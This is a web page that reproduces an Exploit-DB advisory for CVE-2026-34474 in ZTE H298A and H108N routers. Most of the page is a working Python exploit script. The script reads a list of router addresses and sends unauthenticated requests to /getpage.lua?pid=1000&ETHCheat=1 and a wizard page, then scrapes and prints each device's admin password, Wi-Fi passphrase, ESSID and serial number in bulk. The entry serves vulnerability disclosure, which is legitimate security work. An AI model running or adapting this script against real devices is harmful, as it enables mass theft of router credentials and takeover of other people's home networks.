EXPLOITDB 7.5 HIGH

ZTE H298A / H108N – Unauthenticated Credential Exposure_EDB-ID:52592

7.5 / 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Description

Exploit Title: ZTE H298A / H108N - Unauthenticated Credential Exposure via ETHCheat Parameter Date: 2026-05-20 Exploit Author: Mina Nageh Salalma Monx Research Vendor Homepage: https://www.zte.com.cn Software Link:...
Visit Original Source

Basic Information

ID EDB-ID:52592
Published May 29, 2026 at 00:00

Affected Product

Affected Versions # Exploit Title: ZTE H298A / H108N - Unauthenticated Credential Exposure
via ETHCheat Parameter
# Date: 2026-05-20
# Exploit Author: Mina Nageh Salalma (Monx Research)
# Vendor Homepage: https://www.zte.com.cn
# Software Link:
https://github.com/minanagehsalalma/cve-2026-34474-zte-h298a-h108n-sensitive-data-exposure
# Version: ZXHN H298A 1.1, ZXHN H108N 2.6
# Tested on: ZTE ZXHN H298A 1.1, ZTE ZXHN H108N 2.6
# CVE: CVE-2026-34474

# Description:
# An unauthenticated attacker can retrieve the live administrator password,
# WLAN PSK, and ESSID from a ZTE H298A or H108N router by issuing a single
# HTTP GET request to /getpage.lua?pid=1000&ETHCheat=1. The device returns
# HTML markup containing the fields OBJ_USERINFO_IDPassword1 (admin
password),
# WLANPSK_KeyPassphrase1 (Wi-Fi PSK), and WLANAP_ESSID1 in plaintext.
# A second related endpoint exposes the serial number.
# No authentication, session, or cookie is required.
#
# Affected Firmware:
# - ZXHN H298A 1.1
# - ZXHN H108N 2.6
#
# MITRE CVE: https://www.cve.org/CVERecord?id=CVE-2026-34474
# Full write-up:
https://github.com/minanagehsalalma/cve-2026-34474-zte-h298a-h108n-sensitive-data-exposure

import aiohttp
import asyncio
import html
import re
import os
from colorama import Fore, Style, init

init() # Initialize colorama

async def get_essid_password(session, url):
try:
async with aiohttp.ClientSession() as session:
# First request
async with session.get("http://" + url +
"/getpage.lua?pid=1000&ETHCheat=1", verify_ssl=False) as response:
html_text = await response.text()
Admin =
re.search(r"id\s*=\s*'OBJ_USERINFO_IDPassword1'\s*value\s*=\s*'([^']+)'",
html_text).group(1)
Admin = html.unescape(Admin)
ESSID =
re.search(r"id\s*=\s*'WLANAP_ESSID1'\s*value\s*=\s*'([^']+)'",
html_text).group(1)
ESSID = html.unescape(ESSID)
password =
re.search(r"id\s*=\s*'WLANPSK_KeyPassphrase1'\s*value\s*=\s*'([^']+)'",
html_text).group(1)
password = html.unescape(password)

async with session.get("http://" + url +
"/wizard_page/wizard_overETHfail_set_lua.lua") as response:
html_text = await response.text()
serial_num =
re.search(r"<ParaName>SerialNumber</ParaName><ParaValue>(.*?)</ParaValue>",
html_text).group(1)
serial_num = html.unescape(serial_num)

return {"URL": url, "Admin Password": Admin, "ESSID": ESSID,
"WIFI-Password": password, "Serial Number": serial_num}
except Exception as e:
return {"URL": url, "Admin Password": "", "ESSID": "",
"WIFI-Password": "", "Serial Number": ""}

async def main():
with open("urls.txt", "r") as f:
urls = f.read().splitlines()
tasks = []
async with aiohttp.ClientSession() as session:
for url in urls:
tasks.append(get_essid_password(session, url))
results = await asyncio.gather(*tasks)
for r in results:
print(f"[+] {r['URL']} | Admin: {r['Admin Password']} | ESSID:
{r['ESSID']} | WiFi: {r['WIFI-Password']} | Serial: {r['Serial Number']}")

if __name__ == "__main__":
asyncio.run(main())

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.